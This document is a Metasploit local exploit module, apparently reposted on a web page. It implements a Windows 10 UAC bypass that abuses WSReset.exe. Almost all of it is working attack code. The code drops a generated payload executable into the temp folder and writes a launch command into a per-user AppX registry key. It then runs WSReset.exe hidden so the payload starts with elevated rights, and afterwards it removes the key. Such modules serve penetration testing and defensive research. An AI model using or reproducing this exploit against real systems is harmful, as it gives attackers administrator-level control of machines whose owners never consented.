Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Post::Windows::Priv  
include Post::Windows::Runas  
  
def initialize(info = {})  
super(  
update_info(info,  
'Name' => 'Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry',  
'Description' => %q(  
This module exploits a flaw in the WSReset.exe file associated with the Windows  
Store. This binary has autoelevate privs, and it will run a binary file  
contained in a low-privilege registry location. By placing a link to  
the binary in the registry location, WSReset.exe will launch the binary as  
a privileged user.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'ACTIVELabs', # discovery  
'sailay1996', # poc  
'bwatters-r7', # metasploit module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' => [[ 'Automatic', {} ]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 15  
},  
'DisclosureDate' => 'Feb 19 2019',  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]  
},  
'References' => [  
['URL', 'https://www.activecyber.us/activelabs/windows-uac-bypass'],  
['URL', 'https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html'],  
['URL', 'https://github.com/sailay1996/UAC_bypass_windows_store'],  
]  
)  
)  
register_options(  
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]  
)  
  
end  
  
def check  
if sysinfo['OS'] =~ /Windows 10/ && is_uac_enabled? && exists?("C:\\Windows\\System32\\WSReset.exe")  
return CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def exploit  
check_permissions!  
case get_uac_level  
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,  
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,  
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT  
fail_with(Failure::NotVulnerable,  
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")  
when UAC_DEFAULT  
print_good('UAC is set to Default')  
print_good('BypassUAC can bypass this setting, continuing...')  
when UAC_NO_PROMPT  
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')  
shell_execute_exe  
return  
end  
  
# get directory locations straight  
win_dir = session.sys.config.getenv('windir')  
vprint_status("win_dir = " + win_dir)  
tmp_dir = session.sys.config.getenv('tmp')  
vprint_status("tmp_dir = " + tmp_dir)  
exploit_dir = win_dir + "\\System32\\"  
vprint_status("exploit_dir = " + exploit_dir)  
reset_filepath = exploit_dir + "WSReset.exe"  
vprint_status("exploit_file = " + reset_filepath)  
  
# make payload  
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'  
payload_pathname = tmp_dir + '\\' + payload_name  
vprint_status("payload_pathname = " + payload_pathname)  
vprint_status("Making Payload")  
payload = generate_payload_exe  
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"  
vprint_status("reg_command = " + reg_command)  
registry_key = "HKCU\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command"  
  
  
# make registry changes  
vprint_status("Making Registry Changes")  
begin  
registry_createkey(registry_key)  
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")  
registry_setvaldata(registry_key, '', reg_command, "REG_SZ")  
rescue ::Exception => e  
print_error(e.to_s)  
end  
vprint_status("Registry Changes Complete")  
# Upload payload  
vprint_status("Uploading Payload to #{payload_pathname}")  
write_file(payload_pathname, payload)  
vprint_status("Payload Upload Complete")  
  
vprint_status("Launching " + reset_filepath)  
begin  
session.sys.process.execute("cmd.exe /c \"#{reset_filepath}\"", nil, 'Hidden' => true)  
rescue ::Exception => e  
print_error(e.to_s)  
end  
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")  
# wait for a few seconds before cleaning up  
sleep(20)  
vprint_status("Removing Registry Changes")  
registry_deletekey(registry_key)  
vprint_status("Registry Changes Removed")  
end  
  
def check_permissions!  
unless check == Exploit::CheckCode::Appears  
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")  
end  
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?  
# Check if you are an admin  
# is_in_admin_group can be nil, true, or false  
print_status('UAC is Enabled, checking level...')  
vprint_status('Checking admin status...')  
admin_group = is_in_admin_group?  
if admin_group.nil?  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
else  
if admin_group  
print_good('Part of Administrators group! Continuing...')  
else  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
end